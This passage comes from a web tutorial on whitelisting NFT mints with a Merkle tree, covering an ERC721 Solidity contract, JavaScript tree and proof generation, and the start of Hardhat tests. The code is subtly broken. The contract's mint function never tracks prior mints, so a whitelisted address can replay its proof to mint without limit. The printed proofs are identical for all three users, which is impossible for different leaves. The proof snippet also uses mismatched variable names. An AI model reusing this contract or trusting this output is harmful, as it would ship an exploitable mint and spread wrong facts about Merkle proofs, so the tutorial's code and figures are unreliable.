&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import {MerkleProof} from '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';

contract ExcitedApeYachtClub is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    bytes32 public merkleRoot;

    constructor(bytes32 merkleRoot_) ERC721('Excited Ape Yacht Club', 'EAYC') {
        merkleRoot = merkleRoot_;
    }

    function mint(uint256 quantity, bytes32[] calldata merkleProof) public {
        bytes32 node = keccak256(abi.encodePacked(msg.sender, quantity));
        require(MerkleProof.verify(merkleProof, merkleRoot, node), 'invalid proof');

        for (uint256 i = 0; i &amp;lt; quantity; i++) {
            uint256 tokenId = _tokenIds.current();
            _mint(msg.sender, tokenId);

            _tokenIds.increment();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we declare &lt;code&gt;bytes32 public merkleRoot;&lt;/code&gt; to store Merkle tree root, and use it to verify against &lt;code&gt;merkleProof&lt;/code&gt; and &lt;code&gt;node&lt;/code&gt; inside &lt;code&gt;mint&lt;/code&gt; function.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create the whitelist
&lt;/h3&gt;

&lt;p&gt;Let's say there are 3 active users in our community: Alice, Bob, and Carol. Depending on their contribution, we allow each user to mint a different quantity.&lt;br&gt;
We can break it down into 4 steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a Merkle tree from users' addresses and quantity.&lt;/li&gt;
&lt;li&gt;Get the proof of each leaf node, and store it off-chain.&lt;/li&gt;
&lt;li&gt;Get the root of the Merkle tree, and store it on the NFT smart contract.&lt;/li&gt;
&lt;li&gt;Verify users' addresses and quality on our NFT smart contract when they attempt to mint. If the proof of a user is valid, the user is allowed to mint.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  Step 1: Create a Merkle Tree
&lt;/h4&gt;

&lt;p&gt;We will use &lt;code&gt;merkletreejs&lt;/code&gt;, &lt;code&gt;ethers&lt;/code&gt;, and &lt;code&gt;keccak256&lt;/code&gt; to generate a Merkle tree that works with Solidity smart contracts. Here is the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MerkleTree&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;merkletreejs&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ethers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;keccak256&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;keccak256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// inputs: array of users' addresses and quantity&lt;/span&gt;
&lt;span class="c1"&gt;// each item in the inputs array is a block of data&lt;/span&gt;
&lt;span class="c1"&gt;// Alice, Bob and Carol's data respectively&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0x70997970C51812dc3A010C7d01b50e0d17dc79C8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0x90F79bf6EB2c4f870365E785982E1f101E93b906&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="c1"&gt;// create leaves from users' address and quantity&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;leaves&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;solidityKeccak256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;address&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;uint256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// create a Merkle tree&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tree&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;MerkleTree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;leaves&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;keccak256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;in the console, we can see our Merkle Tree. The first hash is the Merkle root. Belows are non-leaf nodes and leaf nodes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd1ce05417f11ebd5c23784283d21a968ac750e5ac2c2baa6b82835f4ea7caf7
   ├─ f92db5e3e1d6bed45d8e50fad47eddeb89c5453802b5cb6d944df2f3679da55c
   │  ├─ 3f68e79174daf15b50e15833babc8eb7743e730bb9606f922c48e95314c3905c
   │  └─ b783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7
   └─ d0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee
      └─ d0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the diagram of the Merkle tree we've just generated&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3igk7rifux1ncf7djs4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3igk7rifux1ncf7djs4.png" alt="merkle tree Alice bob carol" width="800" height="360"&gt;&lt;/a&gt;&lt;br&gt;
The branching factor is 2, but we have 3 blocks of data. That is why in the Carol branch, each node has only 1 child.&lt;/p&gt;
&lt;h4&gt;
  
  
  Step 2: Get Merkel proofs
&lt;/h4&gt;

&lt;p&gt;Now we need to get the proofs from our leaves and store them somewhere off-chain. A JSON file in your client or a database in your backend would do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;proofs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;leaves&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;leave&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHexProof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;leaf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The proofs should look like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ],
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ],
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ]
]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first item in the proofs array is Alice's proof which contains two hashes. The first one is the hash of Bob's data, and the second one is the hash of the node right below the root node on the other branch.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsesbnexpasqea7v3s25h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsesbnexpasqea7v3s25h.png" alt="merkle tree target hash" width="800" height="646"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Step 3: Get Merkle root
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHexRoot&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0xcd1ce05417f11ebd5c23784283d21a968ac750e5ac2c2baa6b82835f4ea7caf7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;As simple as that! we will store the root on-chain when we deploy the smart contract&lt;/p&gt;
&lt;h4&gt;
  
  
  Step 4: Verify users' address and quantity 
&lt;/h4&gt;

&lt;p&gt;With the Merkle proofs and root prepared, we now can verify whether a user is in our whitelist. First, we recreate the node hash from the user's address and quantity using Solidity's &lt;code&gt;keccak256&lt;/code&gt;. Then, we can call &lt;code&gt;MerkleProof.verify&lt;/code&gt; to check if the hash exists in our Merkle tree. If it does, the user is allowed to proceed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; bytes32 node = keccak256(abi.encodePacked(msg.sender, quantity));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'invalid proof');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The codes below are unit tests for the smart contract. From here it should be self-explaining.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;loadFixture&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@nomicfoundation/hardhat-network-helpers&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;expect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;chai&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hardhat&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;makeMerkleTree&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../utils/merkletree&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;makeUsers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../utils/data&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExcitedApeYachtClub&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deployOneYearLockFixture&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;merkleTreeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;makeMerkleTree&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;root&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;makeUsers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ExcitedApeYachtClub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContractFactory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExcitedApeYachtClub&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;ExcitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deploy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;beforeEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;merkleTreeData&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;loadFixture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;deployOneYearLockFixture&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;merkleTreeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Deployment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Should return correct name and symbol&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Excited Ape Yacht Club&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symbol&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;EAYC&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mint&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;beforeEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;proofs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excitedApeYachtClub&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;merkleTreeData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;proofs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

